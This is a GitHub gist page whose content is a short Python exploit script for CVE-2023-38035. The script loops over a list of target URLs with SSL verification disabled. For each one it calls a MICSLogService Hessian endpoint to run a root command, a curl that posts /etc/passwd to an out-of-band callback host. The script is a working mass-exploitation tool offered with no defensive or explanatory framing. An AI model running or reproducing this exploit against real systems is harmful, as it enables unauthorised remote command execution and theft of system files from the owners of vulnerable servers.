Skip to content

Instantly share code, notes, and snippets.

@0x240x23elu
Created August 30, 2023 13:57
Show Gist options
  • Save 0x240x23elu/a269eab7078cd3b75621145ba0d84388 to your computer and use it in GitHub Desktop.
Save 0x240x23elu/a269eab7078cd3b75621145ba0d84388 to your computer and use it in GitHub Desktop.
CVE-2023-38035
import ssl
from pyhessian.client import HessianProxy as H
# Disable SSL certificate verification globally for the Python process
ssl._create_default_https_context = ssl._create_unverified_context
# Read the list of URLs from the file
url_list = open('final.txt').readlines()
for url1 in url_list:
url1 = url1.strip() # Remove any leading/trailing whitespace
url = url1 + '/mics/services/MICSLogService'
print(url)
proxy = H(url)
command_data = {
'command': 'curl -X POST -d @/etc/passwd http://xxxxxxxxxxxxxx.oast.fun',
'isRoot': True
}
try:
result = proxy.uploadFileUsingFileInput(command_data, None)
print(result)
except Exception as e:
print(f"An error occurred: {e}")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment